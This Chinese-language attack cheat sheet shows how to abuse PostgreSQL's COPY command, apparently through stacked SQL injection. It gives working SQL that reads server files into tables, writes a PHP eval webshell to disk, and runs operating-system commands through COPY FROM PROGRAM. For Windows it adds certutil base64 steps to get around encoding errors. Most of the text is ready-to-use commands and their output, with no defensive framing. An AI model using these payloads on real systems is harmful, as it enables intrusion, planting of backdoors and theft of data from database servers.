0x01 注意点

要有对应的权限,这点很好理解吧,普通用户一般是不行的。

0x02 读文件的方法

  1. 读文件使用的是Copy函数
  2. 但是需要注意Copy函数是一个缺陷严重的函数
  3. 一共有3个致命缺陷,其中能人为解决的不多
  4. 1. 分隔符缺陷
  5. 默认情况下postgres为制表符(\t,0x09),同时以换行符作为每一行的分隔符。
  6. 如果说导入的文件里面有制表符,那么制表符到换行符之间的内容都会作为下一个字段的值,如果目标表只有一个字段,那么就会爆错
  7. 这个问题的解决方案我通过网上查找发现是可以解决的,网上的解决方案是利用copy函数的delimiter选项制定分隔符,同时还推荐设置为 0x7f
  8. 换成sql就是如下: copy f(file_data) from 'C:\1.php'with delimiter E'\x7f';
  9. 2. 遇到\.时会终止并报错
  10. 例如说: apache 的配置文件的有这一句话 <FilesMatch "\.(gif|jpe?g|png)$">
  11. 那么不好意思直接爆错,看官方文档说的是 \. COPY table_name FROM STDIN 模式下的结束标识
  12. 人为无法很好的解决这个问题,因为我们控制不了内容的内容,一般我们只能读!!!
  13. 3. 导入的文件编码必须与服务器编码相对应
  14. 简单说就是pgsql默认utf8遇到gbk时直接爆错
  15. 其它关于copy函数的问题可以查看官方文档:
  16. https://www.postgresql.org/docs/9.1/sql-copy.html
  1. 注意: 如果无法堆叠的话, 该方法无法使用
  2. // 创建一张新表
  3. create table f(file_data text not null);
  4. // 读取 C:\1.php数据 复制内容到 f表的 file_data字段
  5. copy f(file_data) from 'C:\1.php'with delimiter E'\x7f';
  6. 注意: with delimiter E'\x7f' 可加可不加,建议最好是加
  7. // 通过普通语句读取出数据
  8. // limit 1 读一行
  9. // OFFSET 0 下标从0开始 0==读第一行数据
  10. select file_data from f limit 1 OFFSET 0;
  11. // 删除f表
  12. drop table f;
  1. // 执行结果
  2. skylar=#
  3. create table f(file_data text not null);
  4. copy f(file_data) from 'C:\1.php';
  5. select file_data from f limit 1 OFFSET 0;
  6. drop table f;
  7. Command OK
  8. Command OK - 1 row affected
  9. +----------------+
  10. | file_data |
  11. +----------------+
  12. | 12312123123123 |
  13. +----------------+
  14. 1 row in set
  15. Command OK

0x03 写文件的方法

  1. # 需要注意, 如果无法堆叠的话, 该方法无法使用
  2. 命令结束: copy (select '一句话木马的代码') to '写马的路径';
  3. 命令2: copy (select '<?php @eval($_POST[1]);?>') to 'C:\2.php';
  1. // 执行结果
  2. // 执行完毕以后就会在
  3. // c盘 跟目录生成一个 2.php
  4. // 内容为 <?php @eval($_POST[1]);?> 的一句话木马
  5. skylar=# copy (select '<?php @eval($_POST[1]);?>') to 'C:\2.php';
  6. Command OK - 1 row affected

image.png

0x04 命令执行

  1. // 需要注意, 如果无法堆叠的话, 该方法无法使用
  2. copy函数在PostgreSQL 9.3版本开始copy语句新增加了一个PROGRAM语法
  3. PROGRAM语法需要pg_execute_server_program权限,默认情况下只有postgres用户具备
  4. 如果权限足够即可实现命令执行
  5. 以下就简单介绍一下如何利用
  6. 例子-命令执行相关操作过程:
  7. create table result(content text); // 创建个result表保存命令执行结果
  8. copy result from program 'whoami'; // 执行命令,并把结果保存到result表
  9. select content from result; // 读取result表获取命令执行结果
  10. DROP TABLE result // 删除result表

windows

  1. 上面的例子如果在实战中爆类似下面的错,或是你看到表没有命令执行的结果
  2. 很可能是发生了这个错误:
  3. [Err] ERROR: invalid byte sequence for encoding "UTF8": 0xc5 0xe4
  4. CONTEXT: COPY result, line 2
  5. 这是因为PostgreSQLutf8编码而命令行的返回值是gbk导致的
  6. 那么就要问了,解决方案有么?有的,我们可以利用windows base64函数来进行数据
  7. 把语句修改为如下曲线救国即可
  8. 命令执行相关操作过程:
  9. 注意: with delimiter E'\x7f' 可加可不加,建议最好是加
  10. create table result(content text); // 创建个result表保存命令执行结果
  11. copy result from program 'ipconfig > C:\\Windows\\Temp\\m.txt'with delimiter E'\x7f'; // 执行命令并把结果写入到临时目录中备用
  12. copy result from program 'certutil -f -encode C:\\Windows\\Temp\\m.txt C:\\Windows\\Temp\\m64.txt'with delimiter E'\x7f'; // 将命令结果转为base64
  13. copy result from program 'type C:\\Windows\\Temp\\m64.txt'with delimiter E'\x7f';
  14. select content from result; // 将命令结果的base64写入result表
  15. DROP TABLE result; // 删除result

linux

  1. linux如果有出现数据为空的情况,也可以试试曲线救国把数据base64编码一下在读
  2. 命令执行相关操作过程:
  3. 注意: with delimiter E'\x7f' 可加可不加,建议最好是加
  4. create table result(content text); // 创建个result表保存命令执行结果
  5. copy result from program 'ifconfig | base64'with delimiter E'\x7f'; // 执行命令,,并把结果base64保存到result表
  6. select content from result; // 读取result表获取命令执行结果
  7. DROP TABLE result // 删除result表